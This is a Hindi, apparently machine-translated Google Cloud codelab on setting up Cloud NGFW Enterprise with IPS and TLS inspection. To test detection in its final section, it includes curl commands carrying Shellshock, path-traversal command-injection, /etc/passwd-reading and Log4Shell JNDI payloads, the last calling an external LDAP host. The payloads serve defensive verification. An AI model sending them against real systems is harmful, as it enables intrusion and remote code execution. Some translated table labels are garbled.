Cloud NGFW एंटरप्राइज़ कोडलैब [टीएलएस इंस्पेक्शन के साथ]

1. परिचय

क्लाउड नेक्स्ट जनरेशन फ़ायरवॉल (एनजीएफ़डब्ल्यू)

क्लाउड नेक्स्ट जनरेशन फ़ायरवॉल, पूरी तरह से डिस्ट्रिब्यूट की गई फ़ायरवॉल सेवा है. इसमें बेहतर सुरक्षा सुविधाएं, माइक्रो-सेगमेंटेशन, और बहुत ज़्यादा कवरेज वाली सुविधा है. इससे Google Cloud के वर्कलोड को अंदरूनी और बाहरी हमलों से सुरक्षित रखने में मदद मिलती है.

Cloud NGFW के ये फ़ायदे हैं:

  • डिस्ट्रिब्यूटेड फ़ायरवॉल सेवा: Cloud NGFW हर वर्कलोड पर पूरी तरह से डिस्ट्रिब्यूटेड होस्ट के मुताबिक नीति उल्लंघन ठीक करने का तरीका (एनफ़ोर्समेंट) उपलब्ध कराता है. इससे, ज़ीरो-ट्रस्ट सिक्योरिटी आर्किटेक्चर को चालू किया जाता है.
  • आसान कॉन्फ़िगरेशन और डिप्लॉयमेंट: Cloud NGFW नेटवर्क और हैरारकी वाली फ़ायरवॉल की नीतियों को लागू करता है, जिन्हें रिसॉर्स हैरारकी के नोड से अटैच किया जा सकता है. ये नीतियां, Google Cloud के रिसॉर्स हैरारकी में मौजूद हर प्लैटफ़ॉर्म पर, फ़ायरवॉल का एक जैसा अनुभव देती हैं.
  • बेहतर कंट्रोल और माइक्रो-सेगमेंटेशन: फ़ायरवॉल नीतियों और पहचान और ऐक्सेस मैनेजमेंट (आईएएम) से नियंत्रित टैग के कॉम्बिनेशन से, वर्चुअल प्राइवेट क्लाउड (वीपीसी) नेटवर्क और संगठनों पर उत्तर-दक्षिण और पूर्व-पश्चिम, दोनों के ट्रैफ़िक को एक ही वीएम तक बेहतर कंट्रोल मिलता है.

Cloud NGFW इन टियर में उपलब्ध है:

  • क्लाउड नेक्स्ट जनरेशन फ़ायरवॉल ज़रूरी है
  • क्लाउड नेक्स्ट जनरेशन फ़ायरवॉल स्टैंडर्ड
  • क्लाउड अगली पीढ़ी का फ़ायरवॉल एंटरप्राइज़

Cloud NGFW Enterprise

Cloud NGFW Enterprise ने इंटरवेंशन प्रिवेंशन सर्विस (आईपीएस) को, डिस्ट्रिब्यूट किए गए Google Cloud फ़ायरवॉल के फ़ैब्रिक में जोड़ा है. यह लेयर 7 की एक सुविधा है. TLS की मदद से, एन्क्रिप्ट (सुरक्षित) किए गए ट्रैफ़िक की जांच करने के लिए, TLS की जांच की जा सकती है.

अब बेहतर कंट्रोल के साथ लेयर 7 नेक्स्ट जनरेशन फ़ायरवॉल (एनजीएफ़डब्ल्यू) की भरोसेमंद जांच की जा सकती है. इसके लिए, आपको नेटवर्क आर्किटेक्चर या रूटिंग कॉन्फ़िगरेशन में कोई बदलाव नहीं करना होगा.

IPS के साथ लेयर 7 फ़ायरवॉल कंट्रोल को चालू और डिप्लॉय करने के लिए, आपको ये काम करने होंगे:

  • Google Cloud से मैनेज किए जाने वाले ज़ोनल फ़ायरवॉल एंडपॉइंट का सेट बनाएं.
  • विकल्प के तौर पर, TLS की जांच से जुड़ी नीति बनाएं.
  • विकल्प के तौर पर कोई ट्रस्ट कॉन्फ़िगरेशन बनाएं.
  • इन एंडपॉइंट को उन वर्चुअल प्राइवेट क्लाउड (वीपीसी) नेटवर्क से जोड़ें जहां आपको Cloud NGFW Enterprise सेवा की ज़रूरत है.
  • अलग-अलग ट्रैफ़िक पाथ के लिए, खतरे से बचाव की प्रोफ़ाइल तय करने के लिए, फ़ायरवॉल की अपनी मौजूदा नीतियों और फ़ायरवॉल के नियमों में आसान बदलाव करें.

नेटवर्क फ़ायरवॉल की नीतियां

नेटवर्क फ़ायरवॉल की नीति, फ़ायरवॉल के नियमों के लिए कंटेनर के तौर पर काम करती है. नेटवर्क फ़ायरवॉल की नीति में तय किए गए नियम तब तक कहीं भी लागू नहीं होते हैं, जब तक वह नीति VPC नेटवर्क से न जुड़ी हो. हर VPC नेटवर्क के साथ, एक नेटवर्क फ़ायरवॉल नीति जुड़ी हो सकती है. नेटवर्क फ़ायरवॉल की नीतियां, फ़ायरवॉल के नियमों में IAM की मदद से चलने वाले टैग (या सिर्फ़ टैग) के साथ काम करती हैं. ये नियम मौजूदा नेटवर्क टैग की जगह ले लेते हैं. साथ ही, इनका इस्तेमाल वर्कलोड के लिए पहचान देने के लिए किया जा सकता है.

सभी नेटवर्क में नेटवर्क फ़ायरवॉल की नीति शेयर करने और IAM की मदद से मैनेज किए जाने वाले टैग के साथ इंटिग्रेशन से, फ़ायरवॉल के कॉन्फ़िगरेशन और मैनेजमेंट को बहुत आसान बनाया जा सकता है.

नेटवर्क फ़ायरवॉल की नीति पेश करते हुए, Google Cloud की फ़ायरवॉल नीतियों में अब ये कॉम्पोनेंट शामिल किए गए हैं:

  1. क्रम के हिसाब से फ़ायरवॉल की नीति
  2. VPC फ़ायरवॉल के नियम
  3. नेटवर्क फ़ायरवॉल की नीति ( ग्लोबल और रीजनल)

हैरारकी के हिसाब से फ़ायरवॉल की नीतियां, संसाधन की हैरारकी में संगठन और फ़ोल्डर नोड पर काम करती हैं, जबकि VPC फ़ायरवॉल के नियम और नेटवर्क फ़ायरवॉल की नीतियां, VPC लेवल पर लागू होती हैं. VPC फ़ायरवॉल के नियमों और नेटवर्क फ़ायरवॉल की नीतियों में एक बड़ा अंतर यह है कि VPC फ़ायरवॉल के नियम, सिर्फ़ एक VPC नेटवर्क पर लागू किए जा सकते हैं. वहीं, नेटवर्क फ़ायरवॉल की नीतियों को एक ही VPC या VPCs के ग्रुप के साथ अटैच किया जा सकता है. साथ ही, इन्हें बैच अपडेट जैसे अन्य फ़ायदों के साथ अटैच किया जा सकता है.

आखिर में, हमारे पास लागू किए गए फ़ायरवॉल नियम भी हैं, जो हर VPC नेटवर्क के साथ आते हैं:

  • इग्रेस डेटा ट्रैफ़िक का नियम जिसकी कार्रवाई की अनुमति है, डेस्टिनेशन 0.0.0.0/0 है
  • ऐसा इन्ग्रेस डेटा ट्रैफ़िक जिसकी कार्रवाई को अस्वीकार किया गया है, सोर्स 0.0.0.0/0 है

डिफ़ॉल्ट रूप से, नीति उल्लंघन ठीक करने के तरीके (एनफ़ोर्समेंट) को इस डायग्राम में दिखाया गया है:

21b3bcabc469ffe.png

कृपया ध्यान दें कि VPC फ़ायरवॉल के नियमों और ग्लोबल नेटवर्क फ़ायरवॉल की नीति के बीच, नीति उल्लंघन ठीक करने के तरीके (एनफ़ोर्समेंट) को बदला जा सकता है. ग्राहक gcloud के लिए कमांड की मदद से, किसी भी समय नीति उल्लंघन ठीक करने के तरीके (एनफ़ोर्समेंट) के बारे में बता सकते हैं.

टैग

नेटवर्क फ़ायरवॉल की नीति के नियमों में इंटिग्रेट किए गए नए टैग, की-वैल्यू पेयर वाले ऐसे संसाधन हैं जिन्हें संगठन या Google Cloud के संसाधन हैरारकी में मौजूद, प्रोजेक्ट-लेवल पर तय किया गया है. ऐसे टैग में IAM ऐक्सेस कंट्रोल होते हैं. इनसे पता चलता है कि टैग पर कौन क्या कर सकता है. उदाहरण के लिए, पहचान और ऐक्सेस मैनेजमेंट (आईएएम) की अनुमतियों से यह तय किया जा सकता है कि कौनसे मुख्य खाते, टैग को वैल्यू असाइन कर सकते हैं और कौनसे मुख्य खाते, संसाधनों में टैग जोड़ सकते हैं. अगर नेटवर्क फ़ायरवॉल के नियम में किसी टैग का रेफ़रंस दिया गया है, तो इसे लागू करने के लिए किसी संसाधन पर लागू किया जाना चाहिए.

टैग, Google Cloud के इनहेरिटेंस रिसोर्स मॉडल का पालन करते हैं. इसका मतलब है कि टैग और उनकी वैल्यू, उनके पैरंट से क्रम में पास कर दी जाती हैं. इस वजह से, टैग एक ही जगह पर बनाए जा सकते हैं और फिर उन्हें रिसॉर्स हैरारकी में मौजूद दूसरे फ़ोल्डर और प्रोजेक्ट में इस्तेमाल किया जा सकता है. टैग और ऐक्सेस से जुड़ी पाबंदियों के बारे में जानने के लिए, इस पेज पर जाएं.

टैग को नेटवर्क टैग से जोड़कर नहीं समझा जाना चाहिए. बाद वाली ऐसी स्ट्रिंग जिन्हें Compute Engine इंस्टेंस में जोड़ा जा सकता है; ये इंस्टेंस से जुड़े होते हैं और किसी भी इंस्टेंस के बंद होने पर वे गायब हो जाते हैं. VPC फ़ायरवॉल के नियमों में नेटवर्क टैग शामिल हो सकते हैं, लेकिन इन्हें क्लाउड रिसॉर्स नहीं माना जाता है. इसलिए, इन पर IAM ऐक्सेस कंट्रोल लागू नहीं होता.

ध्यान दें कि इस दस्तावेज़ में, टैग और IAM से चलने वाले टैग को एक-दूसरे की जगह पर इस्तेमाल किया जा रहा है.

आपको क्या बनाना होगा

इस कोडलैब के लिए एक प्रोजेक्ट और VPC नेटवर्क बनाने के साथ-साथ कई नेटवर्क और सुरक्षा संसाधनों को मैनेज करने के लिए ज़रूरी क्षमता होनी चाहिए. इसमें दिखाया जाएगा कि Cloud NGFW Enterprise, आईपीएस की सुविधा कैसे उपलब्ध करा सकता है. इसके लिए:

  • TLS की मदद से, नॉर्थबाउंड इंटरनेट फ़्लो की जांच करना
  • TLS की मदद से, इंट्रा-वीपीसी फ़्लो की जांच [पूर्व-पश्चिम] की जांच करना

जिन फ़्लो की जांच होनी है उन्हें Cloud Firewall से मैच करने वाले पैरामीटर का इस्तेमाल करके चुना जाएगा. इनमें 5-टपल (सोर्स आईपी, डेस्टिनेशन आईपी, प्रोटोकॉल, सोर्स पोर्ट, डेस्टिनेशन पोर्ट) और टैग शामिल हैं.

3d0f288d3b92a295.png

नेटवर्क फ़ायरवॉल की नीति के नियम बेस के खत्म होने की स्थिति, नीचे दी गई टेबल की तरह होगी:

प्राथमिकता

लिखने की दिशा

Target

Source

जगह

कार्रवाई

स्ट्रीम किस तरह की है

100

इन्ग्रेस डेटा ट्रैफ़िक

Server_Tag

स्वास्थ्य की जांच

कोई भी

अनुमति दें

इन्हें ज़रूर आज़माएं

200

इन्ग्रेस डेटा ट्रैफ़िक

Client_Tag, Server_Tag

IAP

कोई भी

अनुमति दें

इन्हें ज़रूर आज़माएं

800

इन्ग्रेस डेटा ट्रैफ़िक

Server_Tag

10.0.0.0/24

10.0.0.0/24

L7 की जांच

एंटरप्राइज़

850

इग्रेस डेटा ट्रैफ़िक

Client_Tag

कोई भी

10.0.0.0/24

अनुमति दें

इन्हें ज़रूर आज़माएं

900

इग्रेस डेटा ट्रैफ़िक

Client_Tag

कोई भी

कोई भी

L7 की जांच

एंटरप्राइज़

आपको इनके बारे में जानकारी मिलेगी

  • नेटवर्क फ़ायरवॉल की नीति कैसे बनाएं.
  • नेटवर्क फ़ायरवॉल नीति के साथ टैग कैसे बनाएं और उनका इस्तेमाल कैसे करें.
  • TLS की जांच के साथ, Cloud NGFW Enterprise को कॉन्फ़िगर और इस्तेमाल करने का तरीका.

आपको इन चीज़ों की ज़रूरत होगी

  • Google Cloud प्रोजेक्ट.
  • इंस्टेंस को डिप्लॉय करने और नेटवर्किंग कॉम्पोनेंट को कॉन्फ़िगर करने की जानकारी.
  • VPC फ़ायरवॉल कॉन्फ़िगरेशन की जानकारी है.

2. शुरू करने से पहले

वैरिएबल बनाना/अपडेट करना

यह कोडलैब, Cloud Shell में gcloud कॉन्फ़िगरेशन लागू करने में मदद करने के लिए $variables का इस्तेमाल करता है.

Cloud Shell में, ब्रैकेट में दी गई जानकारी को ज़रूरत के हिसाब से बदलकर, नीचे दिए गए निर्देश चलाएं:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. एपीआई चालू करें

अगर आपने ऐसा नहीं किया है, तो एपीआई चालू करें:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Cloud NGFW एंटरप्राइज़ एंडपॉइंट क्रिएशन

Cloud NGFW Enterprise एंडपॉइंट बनाने में करीब 20 मिनट लगते हैं. इसलिए, सबसे पहले इसे बनाया जाएगा. साथ ही, एंडपॉइंट बनाते समय बेस सेटअप भी किया जा सकता है.

सिक्योरिटी प्रोफ़ाइल और सिक्योरिटी प्रोफ़ाइल ग्रुप बनाएं:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

अनुमानित आउटपुट:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

पुष्टि करें कि संसाधन सही तरीके से बनाए गए हैं:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

अनुमानित आउटपुट (ध्यान दें कि इस्तेमाल किए जा रहे क्लाइंट के हिसाब से आउटपुट फ़ॉर्मैट अलग-अलग हो सकता है:

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Cloud NGFW Enterprise एंडपॉइंट बनाएं:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing

नीचे दिया गया निर्देश चलाकर पुष्टि करें कि एंडपॉइंट बनाया जा रहा है (CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

अनुमानित आउटपुट (ध्यान दें कि इस्तेमाल किए जा रहे क्लाइंट के हिसाब से, आउटपुट फ़ॉर्मैट अलग-अलग हो सकता है):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

इसके अलावा, ज़्यादा जानकारी पाने के लिए यहां दिया गया निर्देश दें:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

अनुमानित आउटपुट:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

इसे बनाने में करीब 20 मिनट लगते हैं. साथ में ज़रूरी संसाधन बनाने के लिए, बेस सेटअप सेक्शन पर जाएं.

5. बेस सेटअप

VPC नेटवर्क और सबनेट

VPC नेटवर्क और सबनेट

VPC नेटवर्क और सबनेट बनाएं:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

क्लाउड NAT

क्लाउड राऊटर और क्लाउड एनएटी गेटवे बनाना:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

इंस्टेंस

क्लाइंट और वेब-सर्वर इंस्टेंस बनाएं:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

प्रोजेक्ट-लेवल टैग

अगर ज़रूरी हो, तो उपयोगकर्ता को TagAdmin की अनुमति असाइन करें:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

प्रोजेक्ट-लेवल पर टैग कुंजी और वैल्यू बनाएं:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

टैग को इंस्टेंस से बाइंड करें:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

ग्लोबल नेटवर्क फ़ायरवॉल की नीति

वैश्विक नेटवर्क फ़ायरवॉल की नीति बनाएं:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

स्वास्थ्य जांच और आइडेंटिटी-अवेयर प्रॉक्सी रेंज से ट्रैफ़िक को अनुमति देने के लिए, Cloud Firewall के ज़रूरी नियम बनाएं:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

तय की गई रेंज से ईस्ट-वेस्ट / इंट्रा-सबनेट ट्रैफ़िक को अनुमति देने के लिए, Cloud Firewall के ज़रूरी नियम बनाएं. TLS की जांच के साथ Cloud NGFW Enterprise को चालू करने के लिए, इन नियमों को अपडेट किया जाएगा:

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

क्लाउड फ़ायरवॉल की नीति को VPC नेटवर्क से जोड़ें:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Cloud Firewall एंडपॉइंट असोसिएशन

अगर आपने अब तक ऐसा नहीं किया है और/या स्क्रिप्ट को पसंद करने का तरीका चुना है, तो एनवायरमेंट वैरिएबल तय करें.

पुष्टि करें कि Cloud Firewall एंडपॉइंट बनाने की प्रोसेस पूरी हो गई है. जब स्थिति चालू के तौर पर दिखे, सिर्फ़ तब आगे की कार्रवाई करें (वीडियो बनाने के दौरान, जनरेट हुई स्थिति क्रिएट हो रही है):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

अनुमानित आउटपुट (ध्यान दें कि इस्तेमाल किए जा रहे क्लाइंट के हिसाब से, आउटपुट फ़ॉर्मैट अलग-अलग हो सकता है):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

इसके अलावा, ज़्यादा जानकारी पाने के लिए यहां दिया गया निर्देश दें:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

अनुमानित आउटपुट:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

Cloud Firewall एंडपॉइंट को VPC नेटवर्क से जोड़ें:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

लिंक करने की प्रोसेस पूरी होने में करीब 10 मिनट लगते हैं. जब स्थिति चालू के तौर पर दिखने लगे, तब ही TLS सेक्शन पर जाएं (वीडियो बनाने के दौरान, अनुमानित स्थिति क्रिएट की जा रही है):

gcloud network-security firewall-endpoint-associations list

पूरा होने पर आउटपुट:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

इसके अलावा, ज़्यादा जानकारी पाने के लिए यहां दिया गया निर्देश दें:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

अनुमानित आउटपुट:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. TLS संसाधनों को कॉन्फ़िगर करें

सीए पूल बनाएं. इस संसाधन का इस्तेमाल, एनजीएफ़डब्ल्यू एंटरप्राइज़ के लिए जनरेट किए गए रूट सीए सर्टिफ़िकेट को सुरक्षित रखने में किया जाएगा.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

रूट सीए (सर्टिफ़िकेट देने वाली संस्था) बनाएं. यह CA सर्टिफ़िकेट है. इसका इस्तेमाल NGFW Enterprise से अनुरोध करने के लिए, अतिरिक्त सर्टिफ़िकेट पर हस्ताक्षर करने के लिए किया जाएगा.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

अगर आपको नीचे दिया गया मैसेज दिखाया जाता है, तो y जवाब दें:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

सेवा खाता बनाएं. इस सेवा खाते का इस्तेमाल, NGFW Enterprise के लिए सर्टिफ़िकेट का अनुरोध करने के लिए किया जाएगा:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

सेवा खाते के लिए IAM अनुमतियां सेट करना:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

TLS नीति YAML फ़ाइल बनाएं. इस फ़ाइल में खास संसाधनों के बारे में जानकारी शामिल होगी:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

TLS की जांच से जुड़ी नीति इंपोर्ट करें:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

TLS को चालू करने के लिए, एंडपॉइंट असोसिएशन को अपडेट करें:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

CA प्रमाणपत्र पाएं और उसे क्लाइंट के CA स्टोर में जोड़ें:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

CA प्रमाणपत्र को क्लाइंट को स्थानांतरित करें:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

एसएसएच को वीएम के तौर पर सेट करें, सीए सर्टिफ़िकेट को /usr/local/share/ca-certificates में ले जाएं और CA स्टोर को अपडेट करें:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Cloud Shell से बाहर निकलें.

सर्वर प्रमाणपत्र हस्ताक्षर प्रक्रिया:

Cloud Shell पर, पीआईपी निर्देश का इस्तेमाल करके, Pyca क्रिप्टोग्राफ़ी लाइब्रेरी इंस्टॉल करें:

pip install --user "cryptography>=2.2.0"

Google Cloud SDK को Pyca क्रिप्टोग्राफ़ी लाइब्रेरी का इस्तेमाल करने की अनुमति देने के लिए, आपको साइट पैकेज चालू करने होंगे.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

सर्वर प्रमाणपत्र बनाएं:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

इससे क्लाउडशेल में cert.pem और key.pem फ़ाइल जनरेट होगी. इसके बाद, सर्टिफ़िकेट और कुंजी को सर्वर पर ट्रांसफ़र करें.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

Apache के लिए सर्टिफ़िकेट की जानकारी अपडेट करने के लिए, सर्वर में एसएसएच की सुविधा:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

सर्टिफ़िकेट और कुंजी को किसी खास फ़ोल्डर में ले जाएं:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

हस्ताक्षर किए गए सर्टिफ़िकेट का इस्तेमाल करने के लिए, एसएसएल कॉन्फ़िगरेशन को अपडेट करें:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Apache को रीस्टार्ट करें:

sudo systemctl restart apache2

Apache की स्थिति की पुष्टि करें:

sudo systemctl status apache2

यह चालू होना चाहिए (चालू है).

वर्चुअल मशीन (वीएम) से बाहर निकलें और cloudshell पर जारी रखें.

8. नॉर्थबाउंड और E/W कनेक्टिविटी की पुष्टि करें

Cloud Shell में नीचे दिए गए कमांड चलाएं और इस्तेमाल किए जाने वाले टारगेट आईपी पते नोट करें:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

नया टैब खोलें और आईएपी के ज़रिए क्लाइंट वीएम से एसएसएच कनेक्शन शुरू करें (आपको नए टैब में वैरिएबल तय करने होंगे):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

नीचे दिए गए कमांड चलाएं और इस्तेमाल किए जाने वाले टारगेट आईपी पते नोट करें. ब्रैकेट के अंदर की वैल्यू को पिछले चरण में बताए गए आईपी से बदलकर वैरिएबल बनाएं और पक्का करें कि वे ऐक्सेस किए जा सकते हैं:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

प्राइवेट आईपी को कर्ल करें और पक्का करें कि वह ऐक्सेस करने लायक हो:

curl https://$target_privateip --max-time 2

कर्ल अनुरोध के लिए अनुमानित नतीजे:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

आईपी को सैंपल हमलों की जानकारी भेजें. वेब सर्वर को सभी अनुरोधों का जवाब देना चाहिए. साथ ही, इस बात की पुष्टि करनी चाहिए कि L7 की जांच या रोकथाम नहीं की गई है:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

उम्मीद के मुताबिक नतीजों के नमूने (निजी आईपी):

400
404
400
200
200

इसी तरह, किसी इंटरनेट डेस्टिनेशन पर अनुरोध भेजें:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

